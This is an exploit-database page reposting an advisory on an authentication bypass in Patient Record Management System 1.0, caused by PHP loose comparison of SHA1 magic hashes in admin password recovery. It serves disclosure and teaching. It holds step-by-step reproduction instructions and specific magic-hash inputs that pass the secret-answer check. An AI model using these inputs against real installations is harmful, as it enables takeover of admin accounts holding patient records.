Exploitalert - Database of Exploits

Patient Record Management System 1.0 Authentication Bypass

CVE	Category	Price	Severity
N/A	CWE-287	$1000	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2023-01-20

CVSS	EPSS	EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements	Present	AT	The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Confidentiality Impact to the Vulnerable System	High	VC	There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Availability Impact to the Vulnerable System	High	VI	There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Vulnerable System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Vulnerable System.
Availability Impact to the Vulnerable System	High	VA	There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent System Confidentiality Impact	Negligible	SC	There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Integrity Impact to the Subsequent System	None	SI	There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Availability Impact to the Subsequent System	None	SA	There is no loss of availibility within the Subsequent System or all availibility impact is constrained to the Vulnerable System.

https://cxsecurity.com/ascii/WLB-2023010033

Patient Record Management System 1.0 Authentication Bypass

# Exploit Title: Patient Record Management System v1.0 - Authentication Bypass via PHP Loose Comparison # Exploit Author: Joe Pollock # Date: January 19, 2023 # Vendor Homepage: https://www.sourcecodester.com/php/13505/patient-record-management-system.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/patientrecords.zip # Tested on: Kali Linux, Apache, Mysql, PHP 8.1.5 # CVE: T.B.C # Vendor: kimcey500 # Version: 1.0 # Exploit Description: # Patient Record Management System v1.0 implements a PHP loose comparison within the password recovery functionality (secret question/answer) of # the admin account, which renders the application vulnerable to an authentication bypass depending on the secret answer chosen by the administrator. # If the secret answer generates a SHA1 magic hash (SHA1 is the hashing format used by the application to store secret answers) then an authentication # bypass of the admin account is possible using any other SHA1 magic hash. The vulnerable function is found within User_model.php and is shown below: public function get_forgot_secret($login_id, $secans){ $this->db->where('u_id', $login_id); $query = $this->db->get('users'); $decrypt = $query->row()->u_secretanswer; if(sha1($secans) == $decrypt){ // md5 encryption return $query->row(); } } ======================================================== (+) To reproduce this exploit: ======================================================== 1. Log in as the administrator and navigate to the password recovery functionality (http://localhost/Indexcontrol/secretquestion). 2. Enter the Current Password then select any Secret Question. 3. For the Secret Answer, use the following: 10932435112 4. Confirm the Secret Answer then click Submit. Now logout of the administrator account. 5. From the admin login page, click Forgot Password?. 6. Enter admin as the username then click Submit. 7. For the Secret Answer, use any of the following: aaroZmOk w9KASOk6Ikap aaO8zKZF aa3OFF9m w9KASOk6Ikap 8. After clicking 'Submit, the 'create new password' functionality should be displayed and therefore authentication can be bypassed. ======================================================== (+) Explanation: ======================================================== Following from above, assume the administrator has chosen the following as their secret answer: 10932435112 The application then stores the SHA1 hash of the secret answer in the database. The stored hash is: 0e07766915004133176347055865026311692244 The above hash is an example of a 'magic hash', i.e. the hash starts with "0e" (or "0..0e") only followed by numbers. In PHP, if two strings are loosely compared (==) and match the regular expression 0+e[0-9]+, the result will be TRUE. It will then be possible to bypass the authentication of this account using any secret answer which generates a SHA1 magic hash. Any of the following secret answers could be used to bypass authentication: aaroZmOk w9KASOk6Ikap aaO8zKZF aa3OFF9m w9KASOk6Ikap See here for more examples that could be used: https://github.com/spaze/hashes/blob/master/sha1.md The comparision which would take place by the application in get_forgot_secret() is: if(sha1(aaroZmOk) == "0e07766915004133176347055865026311692244"){ //Reset password Which becomes: if("0e66507019969427134894567494305185566735" == "0e07766915004133176347055865026311692244"){ //Reset password Due to the loose comparision used (==), the above evaluates to TRUE, which would then allow the attacker to change the password of the account. You can try this yourself using the interactive PHP interpreter: var_dump(sha1('aaroZmOk') == "0e111"); var_dump(sha1('aaroZmOk') == "0e222"); var_dump(sha1('aaroZmOk') == sha1('w9KASOk6Ikap')); ======================================================== (+) References and more information ======================================================== https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Type%20Juggling/README.md http://turbochaos.blogspot.com/2013/08/exploiting-exotic-bugs-php-type-juggling.html https://www.whitehatsec.com/blog/magic-hashes/ https://github.com/spaze/hashes https://offsec.almond.consulting/super-magic-hash.html

Impressum